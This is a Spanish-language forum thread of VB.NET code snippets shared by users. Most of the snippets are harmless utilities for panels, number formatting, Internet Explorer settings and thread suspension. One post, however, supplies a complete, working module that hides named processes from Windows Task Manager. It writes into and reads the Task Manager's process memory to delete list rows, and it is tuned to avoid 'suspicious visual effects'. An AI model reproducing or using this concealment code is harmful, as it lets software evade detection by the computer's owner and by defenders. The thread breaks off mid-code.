Property Double_Buffer() As Boolean Get Return Me.DoubleBuffered End Get Set(ByVal Value As Boolean) Me.DoubleBuffered = Value End Set End Property ''' <summary> ''' Set the transparency for this panel. ''' </summary> Public Property Opaccity() As Short Get Return _Opaccity End Get Set(ByVal Value As Short) If Value > 100 Then Throw New Exception("Opaccity range is from 0 to 100") If Value < 0 Then Throw New Exception("Opaccity range is from 0 to 100") Me._Opaccity = Value Make_Opaccity(Value, Me.BackColor) End Set End Property ''' <summary> ''' Enable/Disable the flickering effects on this panel. ''' ''' This property turns off any Flicker effect on the panel ''' ...but also reduces the performance (speed) of the panel about 30% slower. ''' This don't affect to the performance of the application itself, only to the performance of this control. ''' </summary> Public Property Diable_Flickering() As Boolean Get Return _Diable_Flickering End Get Set(ByVal Value As Boolean) Me._Diable_Flickering = Value End Set End Property ''' <summary> ''' Enable/Disable the scroll loop effect. ''' Only when AutoScroll option is set to "True". ''' </summary> Public Property Scroll_Loop() As Boolean Get Return _Scroll_Loop End Get Set(ByVal Value As Boolean) Me._Scroll_Loop = Value End Set End Property #End Region #Region " Event handlers " ' Scroll Private Sub Infinite_Scroll_Button(sender As Object, e As ScrollEventArgs) Handles Me.Scroll If _Scroll_Loop AndAlso Me.AutoScroll Then Set_Scroll_Range() If Me.VerticalScroll.Value >= Scroll_Range - 4 Then ' Button Down Me.VerticalScroll.Value = 1 ElseIf Me.VerticalScroll.Value <= 0 Then ' Button Up Me.VerticalScroll.Value = Scroll_Range End If End If End Sub ' MouseWheel (Scroll) Private Sub Infinite_Scroll_MouseWheel(sender As Object, e As MouseEventArgs) Handles Me.MouseWheel If _Scroll_Loop AndAlso Me.AutoScroll Then Set_Scroll_Range() If e.Delta < 0 AndAlso Me.VerticalScroll.Value >= Scroll_Range - 4 Then ' MouseWheel Down Me.VerticalScroll.Value = 1 ElseIf e.Delta > 0 AndAlso Me.VerticalScroll.Value <= 0 Then ' MouseWheel Up Me.VerticalScroll.Value = Scroll_Range End If End If End Sub #End Region #Region " Methods / Functions " ''' <summary> ''' Changes the transparency of this panel. ''' </summary> Private Sub Make_Opaccity(ByVal Percent As Short, ByVal colour As Color) Me.BackColor = Color.FromArgb(Percent * 255 / 100, colour.R, colour.G, colour.B) End Sub ''' <summary> ''' Set the VerticalScrollBar Range. ''' </summary> Private Sub Set_Scroll_Range() Scroll_Range = Me.VerticalScroll.Maximum - Me.VerticalScroll.LargeChange + Me.VerticalScroll.SmallChange End Sub #End Region End Class
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Junio 2013, 10:23 am
· Ocultar uno o varios procesos en el Task Manager (Si, en el administrador de tareas!)(Este código es originálmente de un anónimo (La class "TMListViewDelete", no sé ni me voy a molestar en buscar el nombre del autor), modificado por Kub0x, y vuelto a modificar por mí.)-> http://foro.elhacker.net/net/aporte_ocultar_aplicacion_en_administrador_de_tareas-t359259.0.html · Añadida compatibilidad para Windows en el lenguaje Inglés y Alemán, y con posibilidad de añadir fácilmente más soporte para otros lenguajes. · Ahora se puede ocultar varios procesos al mismo tiempo. · Añadida opción para poder especificar el/los proceso(s) que queremos ocultar. · Añadida opción para controlar el intervalo de tiempo en el que se procesa la lista del TaskManager (Por defecto 3 ms, para evitar efectos visuales sospechosos en el TaskManager). · Reorganización de la estructura del código original (Contenía demasiadas regiones para mi gusto y me dificultaba la lectura). NOTAS: Si se ocultan varios procesos al mismo tiempo, aunque se use 1 ms para el intervalo del timer puede dar esos efectos visuales extraños en la lista del task manager, así que no excederse si se requiere perfección xD. Lo he testeado en: WinXP x86 Inglés WinXP x86 Español Win7 x86 Inglés Win7 x64 Español Win7 x64 Inglés Win7 x64 Español En Windows 8 No funciona. A menos que se utilice el replacamiento NO oficial del TaskManager por el TaskManager de Windows 7 (como hago yo) porque el TaskManager de windows 8 no me gusta)Ejemplos de uso:Hide_Process_From_TaskManager.Processes_Names = _ {Process.GetCurrentProcess.ProcessName, "cmd", "notepad.exe"} ' Processes to hide. Hide_Process_From_TaskManager.Task_Manager_Window_Titles = _ {"Administrador de tareas de Windows", "Windows Task Manager"} ' Support for unknown TaskManager Window Titles. Hide_Process_From_TaskManager.Hide_Interval = 3 ' Hidding Interval. Hide_Process_From_TaskManager.Running = True ' Start hidding processes. Hide_Process_From_TaskManager.Running = False ' Stop hidding processes.
Los créditos son por orden para el creador de la Class TMListViewDelete que ronda por internet, luego para las modificaciones de Kub0x y por tener la generosidad de haber compartido el código, y por último para mis modificaciones y compartirlo con vosotros. :)Aquí tienen: #Region " Hide Process From TaskManager " ' [ Hide Process From TaskManager ] ' ' // By Elektro H@cker ' ' Examples : ' ' Hide_Process_From_TaskManager.Processes_Names = {Process.GetCurrentProcess.ProcessName, "cmd", "notepad.exe"} ' Processes to hide. ' Hide_Process_From_TaskManager.Task_Manager_Window_Titles = {"Administrador de tareas de Windows", "Windows Task Manager"} ' Support for unknown TaskManager Window Titles. ' Hide_Process_From_TaskManager.Hide_Interval = 3 ' Hidding Interval. ' Hide_Process_From_TaskManager.Running = True ' Start hidding processes. ' Hide_Process_From_TaskManager.Running = False ' Stop hidding processes. #Region " Hide Process From TaskManager Class " Imports Microsoft.Win32.SafeHandles Imports System.Runtime.InteropServices Imports System.Text Imports System.ComponentModel Module Hide_Process_From_TaskManager #Region " API's " Private Delegate Function EnumDelegate(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer Private Declare Function EnumChildWindows Lib "user32.dll" (ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumDelegate, ByVal lParam As Integer) As Integer Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As IntPtr) As Integer Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer <DllImport("user32.dll", CharSet:=CharSet.Auto)> _ Private Sub GetClassName(ByVal hWnd As System.IntPtr, ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer) End Sub #End Region #Region " Variables " ''' <summary> ''' The processses to hide from TaskManager. ''' Caution: The process name is Case-Sensitive. ''' </summary> Public Processes_Names() As String = {Process.GetCurrentProcess.ProcessName} ' The current process. ''' <summary> ''' The interval time in ms to hide the process from TaskManager. ''' Values greater than "5" can cause bad visual effects in TaskManager processes list. ''' </summary> Public Hide_Interval As Int32 = 3 ' ms ''' <summary> ''' The known Window Titles for Task Manager process. ''' This is necessary to work properly in all languages. ''' Add here your own Task Manager Window Tittle if is not inside. ''' Default support: Spanish, English, Deutsch ''' </summary> Public Task_Manager_Window_Titles() As String = { _ "Administrador de tareas de Windows", _ "Windows Task Manager", _ "Windows Task-Manager", _ } ''' <summary> ''' Gets the next process in the Processes_Names array to hide it. ''' Don't touch this. ''' </summary> Public MyProc As String Dim t As New Timer Dim hwnd As IntPtr Dim controls As String Dim ProcLV As IntPtr = IntPtr.Zero Private Const LVM_FIRST = &H1000 Private Const LVM_DELETECOLUMN = LVM_FIRST + 28 Private Const LVM_GETITEMCOUNT = (LVM_FIRST + 4) Private Const LVM_SORTITEMS = (LVM_FIRST + 48) Private Const LVM_DELETEITEM = (LVM_FIRST + 8) Private Const LVM_GETNEXTITEM = (LVM_FIRST + 12) Private Const LVM_GETITEM = (LVM_FIRST + 75) #End Region #Region " Properties " ''' <summary> ''' Turns ON/OFF the process hiding. ''' </summary> Public Property Running() As Boolean Get If t.Enabled = True Then Return True Else Return False End If End Get Set(ByVal value As Boolean) If value = True Then If Processes_Names.Length = 0 Then Throw New Exception("Processes_Names Array is empty.") If Hide_Interval <= 0 Then Throw New Exception("Hide_Interval value is too low, minimum value: 1") MyProc = Processes_Names(0) If Not t.Interval = Hide_Interval Then With t AddHandler t.Tick, AddressOf t_Tick .Interval = Hide_Interval .Enabled = True .Start() End With Else t.Enabled = True t.Start() End If Else t.Enabled = False t.Stop() ProcLV = IntPtr.Zero End If End Set End Property #End Region #Region " Timer Tick event " Private Sub t_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) If ProcLV = IntPtr.Zero Then For Each Title In Task_Manager_Window_Titles hwnd = FindWindow(vbNullString, Title) If hwnd <> 0 Then EnumChildWindows(hwnd, New EnumDelegate(AddressOf Hide_Process_From_TaskManager.EnumChildWindows), 0) End If Next Else GetListView(hwnd, ProcLV) End If End Sub #End Region #Region " Functions " ' EnumChildWindows Private Function EnumChildWindows(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer Dim strClassName As String = ObtenerClase(lngHwnd) Dim strText As String = ObtenerTextoVentana(lngHwnd) If InStr(strClassName, "SysListView32") Then GetListView(hwnd, lngHwnd) If InStr(strText, "Procesos") Then ProcLV = lngHwnd End If End If Dim Classes As String = lngHwnd.ToString & ", " & strClassName & ", " & strText Return 1 End Function ' ObtenerClase Private Function ObtenerClase(ByVal handle As IntPtr) As String Dim strClassName As New System.Text.StringBuilder() strClassName.Length = 255 GetClassName(handle, strClassName, strClassName.Length) Return strClassName.ToString End Function ' ObtenerTextoVentana Private Function ObtenerTextoVentana(ByVal handle As IntPtr) As String Dim titleText As New System.Text.StringBuilder() titleText.Length = GetWindowTextLength(handle) + 1 GetWindowText(handle, titleText, titleText.Length) Return titleText.ToString End Function #End Region End Module Module GetItems #Region " API's " ' OpenProcess <DllImport(kernel32, SetLastError:=True)> _ Private Function OpenProcess(ByVal dwDesiredAccess As UInteger, ByVal bInheritHandle As Boolean, ByVal dwProcessId As Integer) As SafeProcessHandle End Function ' ReadProcessMemoryW <DllImport(kernel32, EntryPoint:="ReadProcessMemory", SetLastError:=True, CharSet:=CharSet.Unicode)> _ Private Function ReadProcessMemoryW(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As StringBuilder, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function ' ReadProcessMemory <DllImport(kernel32, SetLastError:=True, CharSet:=CharSet.Ansi)> _ Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As StringBuilder, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function ' ReadProcessMemory <DllImport(kernel32, SetLastError:=True)> _ Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As LV_ITEM, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function ' ReadProcessMemory <DllImport(kernel32, SetLastError:=True)> _ Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As HDITEM, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function ' ReadProcessMemory <DllImport(kernel32, SetLastError:=True)> _ Private Function ReadProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As Integer, ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function ' SendMessage <DllImport(user32, SetLastError:=True)> _ Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer End Function ' GetHeaderSendMessage <DllImport(user32, SetLastError:=True, EntryPoint:="SendMessageA")> _ Private Function GetHeaderSendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr End Function ' SendMessage <DllImport(user32, SetLastError:=True)> _ Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As Integer, ByVal lParam As StringBuilder) As Integer End Function ' SendMessage <DllImport(user32, SetLastError:=True)> _ Private Function SendMessage(ByVal hWnd As IntPtr, ByVal message As UInteger, ByVal wParam As Integer, ByVal lParam As IntPtr) As Integer End Function ' VirtualAllocEx <DllImport(kernel32, SetLastError:=True)> _ Private Function VirtualAllocEx(ByVal hProcess As SafeProcessHandle, ByVal lpAddress As IntPtr, ByVal dwSize As Integer, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr End Function ' VirtualFreeEx <DllImport(kernel32, SetLastError:=True)> _ Private Function VirtualFreeEx(ByVal hProcess As SafeProcessHandle, ByVal lpAddress As IntPtr, ByVal dwSize As Integer, ByVal dwFreeType As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function ' WriteProcessMemory <DllImport(kernel32, SetLastError:=True)> _ Private Function WriteProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As LV_ITEM, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function ' WriteProcessMemory <DllImport(kernel32, SetLastError:=True)> _ Private Function WriteProcessMemory(ByVal hProcess As SafeProcessHandle, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As HDITEM, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function #End Region #Region " Variables " Dim listViewHandle As IntPtr Public Const LVM_FIRST As UInteger = &H1000 Public Const LVM_DELETEITEM As UInteger = (LVM_FIRST + 8) Public Const kernel32 As String = "kernel32" Public Const user32 As String = "user32" Public Const LVM_GETITEMCOUNT As UInteger = &H1004 Public Const LVM_GETITEMTEXT As UInteger = &H102D Public Const LVM_GETHEADER As UInteger = &H101F Public Const HDM_GETIEMA As UInteger = &H1203 Public Const HDM_GETITEMW As UInteger = &H120B Public Const HDM_GETITEMCOUNT As UInteger = &H1200 Public Const HDM_GETUNICODEFORMAT As UInteger = &H2006 Public Const HDI_TEXT As UInteger = 2 Public Const MEM_COMMIT As UInteger = &H1000 Public Const MEM_RELEASE As UInteger = &H8000 Public Const PAGE_READWRITE As UInteger = 4 Public Const PROCESS_VM_READ As UInteger = &H10 Public Const PROCESS_VM_WRITE As UInteger = &H20 Public Const PROCESS_VM_OPERATION As UInteger = &H8 Public Const WM_GETTEXT As UInteger = &HD Public Const WM_GETTEXTLENGTH As UInteger = &HE #End Region #Region " Structures " <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _ Public Structure LV_ITEM Public mask As UInteger Public iItem As Integer Public iSubItem As Integer Public state As UInteger Public stateMask As UInteger Public pszText As IntPtr Public cchTextMax As Integer Public iImage As Integer Public lParam As IntPtr Public iIndent As Integer Public iGroupId As Integer Public cColumns As Integer Public puColumns As IntPtr Public piColFmt As IntPtr Public iGroup As Integer Public Function Size() As Integer Return Marshal.SizeOf(Me) End Function End Structure <StructLayout(LayoutKind.Sequential)> _ Public Structure HDITEM Public mask As UInteger Public cxy As Integer Public pszText As IntPtr Public hbm As IntPtr Public cchTextMax As Integer Public fmt As Integer Public lParam As IntPtr Public iImage As Integer Public iOrder As Integer Public Function Size() As Integer Return Marshal.SizeOf(Me) End Function End Structure #End Region #Region " Functions " Public Function GetListView(ByVal handle As IntPtr, ByVal lvhandle As IntPtr) As Boolean listViewHandle = lvhandle Dim hParent As IntPtr = handle Dim id As Integer = -1 Try For Each p In Process.GetProcessesByName("taskmgr") id = p.Id Next If id = -1 Then Throw New ArgumentException("Can't find process", "processName") End If Catch : Return False : End Try Dim hprocess As SafeProcessHandle = Nothing Try hprocess = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, id) If hprocess Is Nothing Then If Marshal.GetLastWin32Error = 0 Then Throw New System.ComponentModel.Win32Exception End If End If Dim itemCount As Integer = SendMessage(listViewHandle, LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero) For row As Integer = 0 To itemCount - 1 Dim lvi As New ListViewItem(GetItem(row, 0, hprocess)) For Each processname In Processes_Names MyProc = processname If lvi.Text.Contains(Hide_Process_From_TaskManager.MyProc) Then SendMessage(listViewHandle, LVM_DELETEITEM, row, IntPtr.Zero) Next Next Catch : Return False Finally If hprocess IsNot Nothing Then hprocess.Close() hprocess.Dispose() End If End Try Return True End Function Public Function GetItem(ByVal row As Integer, ByVal subitem As Integer, _ ByVal hProcess As SafeProcessHandle) As String Dim lvitem As New LV_ITEM lvitem.cchTextMax = 260 lvitem.mask = 1 lvitem.iItem = row lvitem.iSubItem = subitem Dim pString As IntPtr Dim s As New StringBuilder(260) Try pString = VirtualAllocEx(hProcess, IntPtr.Zero, 260, MEM_COMMIT, PAGE_READWRITE) lvitem.pszText = pString Dim pLvItem As IntPtr Try pLvItem = VirtualAllocEx(hProcess, IntPtr.Zero, lvitem.Size, MEM_COMMIT, PAGE_READWRITE) Dim boolResult As Boolean = WriteProcessMemory(hProcess, pLvItem, lvitem, lvitem.Size, 0) If boolResult = False Then Throw New Win32Exception SendMessage(listViewHandle, LVM_GETITEMTEXT, row, pLvItem) boolResult = ReadProcessMemory(hProcess, pString, s, 260, 0) If boolResult = False Then Throw New Win32Exception boolResult = ReadProcessMemory(hProcess, pLvItem, lvitem, Marshal.SizeOf(lvitem), 0) If boolResult = False Then Throw New Win32Exception Finally If pLvItem.Equals(IntPtr.Zero) = False Then Dim freeResult As Boolean = VirtualFreeEx(hProcess, pLvItem, 0, MEM_RELEASE) If freeResult = False Then Throw New Win32Exception End If End Try Finally If pString.Equals(IntPtr.Zero) = False Then Dim freeResult As Boolean = VirtualFreeEx(hProcess, pString, 0, MEM_RELEASE) If freeResult = False Then Throw New Win32Exception End If End Try Return s.ToString End Function Friend NotInheritable Class SafeProcessHandle : Inherits SafeHandleZeroOrMinusOneIsInvalid Declare Auto Function CloseHandle Lib "kernel32.dll" (ByVal hObject As IntPtr) As Boolean Public Sub New() MyBase.New(True) End Sub Public Sub New(ByVal handle As IntPtr) MyBase.New(True) MyBase.SetHandle(handle) End Sub Protected Overrides Function ReleaseHandle() As Boolean Return CloseHandle(MyBase.handle) End Function End Class #End Region End Module #End Region #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 6 Junio 2013, 11:02 am
Y porque el autor es anónimo? :x
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Junio 2013, 11:08 am
Y porque el autor es anónimo? :x Es anónimo xq me da la gana xD, vi el code del TMListViewDelete posteado por un "guiri" hace mucho tiempo (código que solo funcionaba en XP), lo cierto es que ví la Class en varios sitios buscando una manera de ocultar procesos en el TaskManager, pero no recuerdo el autor, y Kub0x no lo nombra en su code tampoco, así que... anonymous!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2013, 05:23 am
Formatear un número: #Region " Format Number " ' [ Format Number Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Format_Number(50000)) ' Result: 50.000 ' MsgBox(Format_Number(-12345.33)) ' Result: -12.345,33 Private Function Format_Number(ByVal Number As Object) As String Select Case Number.GetType() Case GetType(Int16), GetType(Int32), GetType(Int64) Return FormatNumber(Number, TriState.False) Case Else Return FormatNumber(Number, , TriState.False) End Select End Function #End Region
Crear un textbox con una máscara de asteriscos (para introducir passwords): TextBox1.Text = "Elektro" ' Set a random text. TextBox1.PasswordChar = "*" ' The character to use in the mask. TextBox1.MaxLength = 8 ' The maximum length of characters inside the textbox. MsgBox(TextBox1.Text) ' Result: Elektro
Genera todas las combinaciones posibles de una serie de caracteres: (Este código es ORO por su sencillez y eficacia): #Region " Permute all combinations of characters" ' [ Permute Characters Function ] ' ' Examples : ' Dim Permutations As IEnumerable = Permute_Characters("abc", 2) ' For Each Permutation As IEnumerable(Of Char) In Permutations : RichTextBox1.Text &= vbNewLine & Permutation.ToArray : Next Private Shared Function Permute_Characters(Of T)(list As IEnumerable(Of T), length As Integer) As IEnumerable(Of IEnumerable(Of T)) If length = 1 Then Return list.[Select](Function(x) New T() {x}) Else Return Permute_Characters(list, length - 1).SelectMany(Function(x) list, Function(t1, t2) t1.Concat(New T() {t2})) End If End Function #End Region
Resultado: aa ab ac ba bb bc ca cb cc
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 7 Junio 2013, 07:39 am
Ostia, ese es el code en el que te he ayudado? ;-) No verdad, es el siguiente no?
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2013, 09:56 am
Ostia, ese es el code en el que te he ayudado? ;-) No verdad, es el siguiente no? ¿En que parte del código ves algo elevado al cuadrado? xD Me ayudaste a resolver un problema de una operación matemática en una aplicación donde yo usaba un code, el code o la aplicación es irelevante, pero si, te refieres al code de las combinaciones xD Salu2
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2013, 21:01 pm
Modifica el modo de renderizado de IExplorer sobre una aplicación, es decir, el modo de renderizado para un "WebBrowser control" #Region " Set IExplorer Rendering Mode " ' [ Set IExplorer Rendering Mode ] ' ' // By Elektro H@cker ' ' Examples : ' Set_IExplorer_Rendering_Mode(IExplorer_Renders.IE10) ' Set_IExplorer_Rendering_Mode(IExplorer_Renders.IE10_DOCTYPE, "Application.exe") Public Enum IExplorer_Renders As Int16 IE10 = 10001 ' Internet Explorer 10. Webpages are displayed in IE10 Standards mode, regardless of the !DOCTYPE directive. IE10_DOCTYPE = 10000 ' Internet Explorer 10. Webpages containing standards-based !DOCTYPE directives are displayed in IE10 Standards mode. Default value for Internet Explorer 10. IE9 = 9999 ' Internet Explorer 9. Webpages are displayed in IE9 Standards mode, regardless of the !DOCTYPE directive. IE9_DOCTYPE = 9000 ' Internet Explorer 9. Webpages containing standards-based !DOCTYPE directives are displayed in IE9 mode. IE8 = 8888 ' Webpages are displayed in IE8 Standards mode, regardless of the !DOCTYPE directive. IE8_DOCTYPE = 8000 ' Webpages containing standards-based !DOCTYPE directives are displayed in IE8 mode. IE7 = 7000 ' Webpages containing standards-based !DOCTYPE directives are displayed in IE7 Standards mode. End Enum Private Sub Set_IExplorer_Rendering_Mode(ByVal IExplorer_Render As IExplorer_Renders, _ Optional ByVal Application_Name As String = Nothing) If Application_Name Is Nothing Then Application_Name = Process.GetCurrentProcess().ProcessName & ".exe" Try My.Computer.Registry.SetValue( _ "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION", _ Application_Name, IExplorer_Render, Microsoft.Win32.RegistryValueKind.DWord) Catch ex As Exception MsgBox(ex.Message) End Try End Sub #End Region
Bloquear popups en un webbrowser Private Sub WebBrowser_NewWindow(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) _ Handles WebBrowser1.NewWindow e.Cancel = True End Sub
Bloquear iFrames en un webbrowser Private Sub WebBrowser_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) _ Handles WebBrowser1.DocumentCompleted For Each element As HtmlElement In CType(sender, WebBrowser).Document.GetElementsByTagName("iframe") element.OuterHtml = String.Empty Application.DoEvents() Next End Sub
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2013, 21:14 pm
Devuelve la versión instalada de InternetExplorer en el PC: #Region " Get IExplorer Version " ' [ Get IExplorer Version Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(Get_IExplorer_Version) ' Result: 8 ' MsgBox(Get_IExplorer_Version(True)) ' Result: 8.00.7600.16385 Private Function Get_IExplorer_Version(Optional ByVal Long_Version As Boolean = False) As String Try If Long_Version Then Return FileVersionInfo.GetVersionInfo(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\ieframe.dll").ProductVersion Else Return FileVersionInfo.GetVersionInfo(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\ieframe.dll").ProductVersion.Split(".").First End If Catch ex As Exception MsgBox(ex.Message) Return 0 End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 7 Junio 2013, 21:40 pm
Ahora me pongo yo critico, y para que coño quiero saber la versión de mi IE? XD
Hombre, se me ocurren ideas tal como parchear algunos errores en los webbrowsers pero, es poca cosa... xD
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Junio 2013, 04:43 am
Ahora me pongo yo critico, y para que coño quiero saber la versión de mi IE? XD
Hombre, se me ocurren ideas tal como parchear algunos errores en los webbrowsers pero, es poca cosa... xD La idea es conocer la versión de IExplorer de otro PC que no sea el tuyo/mio para anticiparse a posibles errores, por ejemplo si te pagan por una aplicación y quieres usar el render de IE10 en un webbrowser pero ese PC tiene IE8 pues...cagada, no? Un saludo!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Junio 2013, 06:49 am
Suspender o continuar un proceso externo: 43773s3tAoA (Corregido un pequeño bug de última hora en la función "resume-thread" al comprobar si existia el proceso en el diccionario.) #Region " Pause-Resume Thread Class " Public Class Process_Thread ' [ Pause-Resume Thread Functions ] ' ' // By Elektro H@cker ' ' Examples : ' ' Process_Thread.Pause_Thread("ffmpeg.exe") ' Pause ffmpeg.exe (with thread 0) ' Process_Thread.Resume_Thread("ffmpeg.exe") ' Resume ffmpeg.exe (with thread 0) ' Process_Thread.Pause_Thread("cmd.exe", , True) ' Pause all instances of cmd.exe (with thread 0) ' Process_Thread.Resume_Thread("cmd.exe", , True) ' Resume all instances of cmd.exe (with thread 0) ' Process_Thread.Pause_Thread("Process.exe", 2) ' Pause the thread 2 of "Process.exe" ' Process_Thread.Resume_Thread("Process.exe", 2) ' Resume the thread 2 of "Process.exe" <System.Runtime.InteropServices.DllImport("kernel32.dll")> _ Private Shared Function OpenThread(ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Boolean, ByVal dwThreadId As UInt32) As IntPtr End Function <System.Runtime.InteropServices.DllImport("kernel32.dll")> _ Private Shared Function SuspendThread(hThread As IntPtr) As UInteger End Function <System.Runtime.InteropServices.DllImport("kernel32.dll")> _ Private Shared Function ResumeThread(hThread As IntPtr) As UInt32 End Function <System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _ Private Shared Function CloseHandle(ByVal hObject As IntPtr) As <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.Bool)> Boolean End Function ''' <summary> ''' Dictionary to store the current paused threads. ''' </summary> Public Shared Thread_Handle_Dictionary As New Dictionary(Of String, IntPtr ) #Region " Pause Thread " ''' <summary> ''' Function to pause a thread. ''' </summary> ''' ''' <param name="Process_Name">The name of the process, ex: cmd.exe</param> ''' <param name="Thread_Number">The thread to pause, ex: 0</param> ''' <param name="Recursive"> <value name="True">Pause the thread in all processes found recursively.</value></param> ''' <returns>True if the process is found; otherwise, False.</returns> Public Shared Function Pause_Thread(ByRef Process_Name As String, _ Optional ByVal Thread_Number As Int32 = 0, _ Optional ByVal Recursive As Boolean = False) As Boolean If Process_Name.ToLower.EndsWith(".exe") Then _ Process_Name = Process_Name.Substring(0, Process_Name.Length - 4) Dim proc() As Process = Process.GetProcessesByName(Process_Name) If Not proc.Length = 0 Then If Recursive Then For proc_num As Integer = 0 To proc.Length - 1 Try Thread_Handle_Dictionary.Add(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(proc_num).Handle.ToString, _ OpenThread(&H2, True, proc(proc_num).Threads(Thread_Number).Id)) SuspendThread(Thread_Handle_Dictionary.Item(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(proc_num).Handle.ToString)) Application.DoEvents() Catch ex As Exception MsgBox(ex.Message) ' The handle already exist in the Dictionary. Return False End Try Next Else Try Thread_Handle_Dictionary.Add(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(0).Handle.ToString, _ OpenThread(&H2, True, proc(0).Threads(Thread_Number).Id)) SuspendThread(Thread_Handle_Dictionary.Item(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(0).Handle.ToString)) Catch ex As Exception MsgBox(ex.Message) ' The handle already exist in the Dictionary. Return False End Try End If Else ' proc.Length = 0 Throw New Exception("Process """ & Process_Name & """ not found.") Return False End If Return True End Function #End Region #Region " Resume Thread " ''' <summary> ''' Function to resume a thread. ''' </summary> ''' ''' <param name="Process_Name">The name of the process, ex: cmd.exe</param> ''' <param name="Thread_Number">The thread to resume, ex: 0</param> ''' <param name="Recursive"> <value name="True">Resume the thread in all processes found recursively.</value></param> ''' <returns>True if the process is found; otherwise, False.</returns> Public Shared Function Resume_Thread(ByRef Process_Name As String, _ Optional ByVal Thread_Number As Int32 = 0, _ Optional ByVal Recursive As Boolean = False) As Boolean If Process_Name.ToLower.EndsWith(".exe") Then _ Process_Name = Process_Name.Substring(0, Process_Name.Length - 4) Dim Process_Exist As Boolean = False ' To check if process exist in the dictionary. Dim Temp_Dictionary As New Dictionary(Of String, IntPtr ) ' Replic of the "Thread_Handle_Dictionary" dictionary. For Each Process In Thread_Handle_Dictionary If Process.Key.StartsWith(Process_Name.ToLower & Thread_Number.ToString) Then Process_Exist = True Temp_Dictionary.Add(Process.Key, Process.Value) Next If Process_Exist Then If Recursive Then For Each Process In Temp_Dictionary If Process.Key.ToLower.Contains(Process_Name.ToLower & Thread_Number.ToString) Then ResumeThread(Process.Value) CloseHandle(Process.Value) 